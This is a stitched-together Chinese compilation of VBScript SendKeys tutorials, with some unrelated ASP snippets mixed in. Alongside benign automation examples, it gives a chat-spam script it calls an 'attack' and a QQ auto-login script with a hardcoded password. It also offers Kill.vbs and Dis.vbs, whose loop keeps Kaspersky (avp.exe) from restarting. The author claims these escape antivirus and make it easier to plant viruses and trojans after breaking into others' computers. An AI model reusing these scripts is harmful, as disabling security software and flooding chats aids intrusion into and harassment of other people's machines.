CreateObject("Wscript.Shell")
SendKeys [String]
脚本实现自动按键盘的某个键 过程是:
按下F5
间隔50毫秒
松开F5
间隔3000毫秒
按下F5
间隔50毫秒
松开F5
回到第一步
批处理是不行的 用VBS 很简单 例子如下
Set objShell = CreateObject("Wscript.Shell")
do
WScript.Sleep 3000
objShell.SendKeys "{F5}"
WScript.Sleep 3000
objShell.SendKeys "{F5}"
loop
使用 SendKeys 方法可以将键击发送到无自动化界面的应用程序中。多数键盘字符都可用一个键击表示。某些键盘字符由多个键击组合而成(例如,CTRL+SHIFT+HOME)。要发送单个键盘字符,请将字符本身作为 string 参数发送。例如,要发送字母 x,则请发送 string 参数 "x"。
可使用 SendKeys 同时发送多个键击。为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。例如,要发送键击 a、b 和 c,则需要发送字符串参数 "abc" 。SendKeys 方法将某些字符用作字符的修饰符(而不使用其本身的含义)。这组特殊的字符可包括圆括号、中括号、大括号,以及:
加号 "+"
插入记号 "^"
百分号 "%"
和“非”符号 "~"
用大括号 "{}" 括起这些字符可以发送它们。例如,要发送加号,请使用字符串参数 "{+}"。SendKeys中使用的中括号 "[ ]" 无任何特殊含义,但是必须把它们括在大括号中,以便容纳确实要赋予其特殊含义的应用程序(例如,对于动态数据交换 (DDE) 就是这样)。
要发送左中括号字符,请发送字符串参数 "{[}";要发送右中括号字符,请发送字符串参数 "{]}"。
要发送左大括号字符,请发送字符串参数 "{{}";要发送右大括号字符,请发送字符串参数 "{}}"。
某些键击不生成字符(如 ENTER 和 TAB)。某些键击表示操作(如 BACKSPACE 和 BREAK)。要发送这些类型的键击,请发送下表中列出的参数:
空格键 " "
退格键 {BACKSPACE} 或 {BS} 或 {BKSP}
BREAK {BREAK}
Delete {Delete} 或 {DEL}
向下键 {DOWN}
向上键 {UP}
向左键 {LEFT}
向右键 {RIGHT}
END {END}
ENTER {ENTER} 或 ~
ESC {ESC}
TAB {TAB}
CAPS LOCK {CAPSLOCK}
HELP {HELP}
HOME {HOME}
Insert {Insert} 或 {INS}
NUM LOCK {NUMLOCK}
PAGE DOWN {PGDN}
PAGE UP {PGUP}
PRINT SCREEN {PRTSC}
SCROLL LOCK {SCROLLLOCK}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
要发送由常规键击和 SHIFT、CTRL 或 ALT 组合而成的键盘字符,请创建表示该键击组合的复合字符串参数。可通过在常规键击之前添加一个或多个以下特殊字符来完成上述操作:
SHIFT +
CTRL ^
ALT %
注意:这样使用时,不用大括号括起这些特殊字符。
要指定在按下多个其他键时,按下 SHIFT、CTRL 和 ALT 的组合,请创建复合字符串参数,用括号括起其中的组合键。例如,要发送的组合键指定:
如果在按 e 和 c 的同时按 SHIFT 键,则发送字符串参数 "+(ec)"。
如果在按 e 时只按 c(而不按 SHIFT),则发送字符串参数 "+ec"。
可使用 SendKeys 方法发送一种在一行内重复按键的键击。为此,要创建复合字符串参数,以指定要重复的键击,并在其后指定重复次数。可使用 {键击 数字} 形式的复合字符串参数来完成上述操作。例如,如果要发送 10 次 "x",则需要发送字符串参数 "{x 10}"。请确保在键击和数字之间有一个空格。
注意:只可以发送重复按一个键的键击。例如,可以发送 10 次 "x",但不可发送 10 次 "Ctrl+x"。
注意:不能向应用程序发送 PRINT SCREEN 键 {PRTSC}。
例子1:关机脚本 (模拟按键为:Ctrl + Esc、u、u )
把以下代码复制至记事本,另存为 off.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}uu"
例子2:重启脚本 (模拟按键为:Ctrl + Esc、u、r )
把以下代码复制至记事本,另存为 reboot.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}ur"
例子3:切换输入法 (模拟同时按下:Shift Ctrl )
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "+(^)"
例子4:输入 cn-dos.net! 至记事本并保存为 CnDos.txt
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 1500
WshShell.AppActivate "无标题 - 记事本"
WshShell.SendKeys "c"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "-"
WScript.Sleep 200
WshShell.SendKeys "d"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "."
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "e"
WScript.Sleep 200
WshShell.SendKeys "t"
WScript.Sleep 200
WshShell.SendKeys "!"
WScript.Sleep 200
WshShell.SendKeys "%FS"
WScript.Sleep 500
WshShell.SendKeys "C"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "D"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "%S"
WScript.Sleep 500
WshShell.SendKeys "%FX"
例子5:自动定时存盘的记事本(此脚本来自网上)
\'第一部分:定义变量和对象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=(1000*60*1) \'自动存盘时间为1分钟
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox("给文本起名(不能用中文和纯数字):")
\'第二部分:打开并激活记事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate "无标题 - 记事本"
\'第三部分:用输入的文件名存盘
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime
\'第四部分:自动定时存盘
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
Wend
WScript.Quit
例子:
set objShell = CreateObject("Wscript.Shell")
strCommandLine = "psetup755281.exe" \'启动安装程序
objShell.Run(strCommandLine)
set WshShell = CreateObject("WScript.Shell")
WScript.Sleep 2000 \'延时3秒
WshShell.SendKeys "{ENTER}" \'模拟按下回车键执行下一步
WScript.Sleep 300 \'延时3秒
WshShell.SendKeys "{ENTER}" \'模拟按下回车键执行下一步
WScript.Sleep 300 \'延时3秒
WshShell.SendKeys "{ENTER}" \'模拟按下回车键执行下一步
WScript.Sleep 5200 \'延时3秒
WshShell.SendKeys "{ENTER}" \'模拟按下回车键执行下一步
WScript.Sleep 300 \'延时3秒
WshShell.SendKeys "{ENTER}" \'模拟按下回车键执行下一步
WScript.Sleep 300 \'延时3秒
WshShell.SendKeys "{ENTER}" \'模拟按下回车键执行下一步
WScript.Sleep 200
WshShell.SendKeys " " \'模拟按下空格键去除安装百度超级搜霸一行前的√号
WScript.Sleep 100
WshShell.SendKeys "{TAB}" \'模拟按下 Tab 键选择安装项目
WScript.Sleep 200
WshShell.SendKeys " " \'模拟按下空格键去除安装百度超级搜霸一行前的√号
WScript.Sleep 200 \'延时0.3秒
WshShell.SendKeys "f" \'模拟按下 F键同意协议
*************
另外方式:
<%
dim endtime
endtime=timer()
response.write "页面执行时间:"&FormatNumber(endtime*1000,3)&"毫秒"
%>
对比下面是计算相差的日期
<%
sdate="2008-1-10"
DiffADate=DateDiff("d",sdate,now)
%>
***************************************************************
VBS中SendKeys方法将响应键盘的操作,并发送此值。这样将实现许多有趣、适用、方便的功能!基本上只要键盘能完成的操作,SendKeys就能一并完成。你想到了什么?嘿嘿!下面的代码是经过我一个晚上的整理与测试。其中QQ自动登录的不成功!不是代码不行,估计是最新版QQ的保护机制!
第一个例子、将下面这段代码保存为ie.vbs,运行此vbs,将会打开我的博客。
set s = WScript.CreateObject("WScript.Shell") \'创建WScript.Shell对象
app=s.Run ("iexplore") \'打开IE浏览器
WScript.Sleep 1000 \'这表示停顿1000毫秒,即1秒,下面一样……
s.AppActivate app
s.SendKeys "+{TAB}"
s.SendKeys "http://hi.baidu.com/ycosxhack"
s.SendKeys "{ENTER}"
这段代码响应了键盘三个动作:Shift+Tab聚焦于地址栏、键入“http://hi.baidu.com/ycosxhack”、Enter回车。于是这样就打开我的博客了^^
第二个例子、将下面代码保存为qq.vbs,运行此vbs,将会自动输入你的QQ帐号与密码,然后登录。
set s = WScript.CreateObject("WScript.Shell")
app=s.Run ("D:\Progra~1\Tencent\QQ\QQ.exe") \'你QQ的路径!
\'注意Program Files要写成Progra~1,我一个晚上测试出来的答案- -!!
WScript.Sleep 1000
s.AppActivate app
s.SendKeys "+{TAB}"
WScript.Sleep 500
s.SendKeys "78669255"
s.SendKeys "{TAB}"
WScript.Sleep 500
s.SendKeys "123456"
WScript.Sleep 1000
s.SendKeys "{ENTER}"
这段代码响应了键盘五个动作:Shift+Tab、输入QQ号78669255、Tab、输入QQ密码123456、Enter回车,测试时,将这些值换成你自己的。
能懂这两个例子,其它不就可以举一反三了吗?记住只要键盘能完成的SendKeys基本都是可以完成的!那些黑客们经常用到的快捷键(基本不用鼠标就可以完成任务!)都可以模拟出来,再举个小例子,打开“任务管理器”,Ctrl+Shift+Esc对吧?看下面代码:
set s = WScript.CreateObject("WScript.Shell")
s.SendKeys "^+{ESC}"
运行后,是不是打开任务管理器啦?要关闭电脑?调用cmd?删除文件?格式硬盘?等等,通过SendKeys方法皆可轻易完成!这在某些方面也许会很有用,比如:黑客方面……
呃~~~上面的SendKeys方法是不是有点地方不明白?如:打开“任务管理器”的例子,SendKeys "^+{ESC}"中^+{ESC}为什么代表Ctrl+Shift+Esc?放心,最后我会给出MSDN的SendKeys方法的帮助文档,很简单,自己一看就会恍然大悟的!^^
最后来个有点恶作剧的例子,就是网上有点流行的“QQ消息疯狂乱发”,如何实现?看下面代码:
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate ""
for i=1 to 100 \'循环发送消息100次!
WScript.Sleep 2000
WshShell.SendKeys "^v" \'粘贴剪切板里的内容到QQ聊天面板上!
WshShell.SendKeys "%s" \'发送……
next
打开某位好友或某个群的聊天面板,将此脚本代码保存为AttactQQ.vbs,运行后,将鼠标聚焦与聊天面板上,此时“攻击”就开始了……哈哈!别太疯狂了!
估计你已经了解了VBS的SendKeys方法了吧?
两个简易VBS脚本结束进程与防止进程启动
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!(\'为注释)
Kill.vbs:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ \'涉及到WMI脚本入侵技术,我不能解释清楚!
if ps.handle=wscript.arguments(0) then \'判断进程的PID号是否与获得的PID号参数相等
wscript.echo ps.terminate \'如果相等就结束指定PID号对应的进程
end if
next
Dis.vbs
dim y,x \'不要这行也行……
do \'来个死循环……一直在判断!do ... loop内为循环体!
set y=getobject("winmgmts:\\.\root\cimv2") \'和上面解释一样,这也是涉及到微软的WMI技术!
set x=y.execquery("select * from win32_process where name=\'avp.exe\'")
\'查询语句,where后判断avp.exe(卡巴)是否存在进程中!
\'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……
for each i in x
i.terminate() \'卡巴要启动马上就终止……
next
wscript.sleep
loop
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……
*******************************************************************************
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "cmd"
\' 让脚本等待1000毫秒,也就是1秒再执行下一条语句
WScript.Sleep 1000
\' -- 发送字符时,输入法一定要在英文件状态下
\' 发送分号
WshShell.SendKeys ";"
WScript.Sleep 1000
\' 发送冒号
WshShell.SendKeys ":"
WScript.Sleep 1000
\' 发送双引号 -- 利用chr把双引号转换出来
WshShell.SendKeys Chr(34)
WScript.Sleep 1000
\' 发送带有双引号的字符串
WshShell.SendKeys Chr(34)&"this is a string"&Chr(34)
WScript.Sleep 1000
\' -- 切记,这里是模拟的击键操作,所以不能发送中文
\'WshShell.SendKeys Chr(34)&"这是一个字符串"&Chr(34)
WScript.Sleep 1000
\' ================================================
\' -- 如何模拟回车,上档键,Alt键喃?
\' ================================================
\' -- 如何模拟回车, -- {enter}这就代表是发送回车
WshShell.SendKeys "this is a enter!{enter}"
WScript.Sleep 1000
\' -- 如何模拟上档键Shift, -- +这就代表是发送shift
WshShell.SendKeys "this is +a" \' 结果为 this is A
WScript.Sleep 1000
\' -- 如何模拟Alt, -- %这就代表是发送Alt
WshShell.SendKeys "this is %{TAB}" \' 结果为 切换窗口
WScript.Sleep 1000
\' ===========================================================
\' -- 那么如何发送%, + ^ 喃
WshShell.SendKeys "this is {+}{^}{%}" \' 结果为 切换窗口
WScript.Sleep 1000
\' -- 这里你可能已经明白了,发送送特殊字符时,请放到 {} 中
\' ===========================================================
\' ======================================
\' 更多信息请看VBS帮助文档 2009-07-26
\' ======================================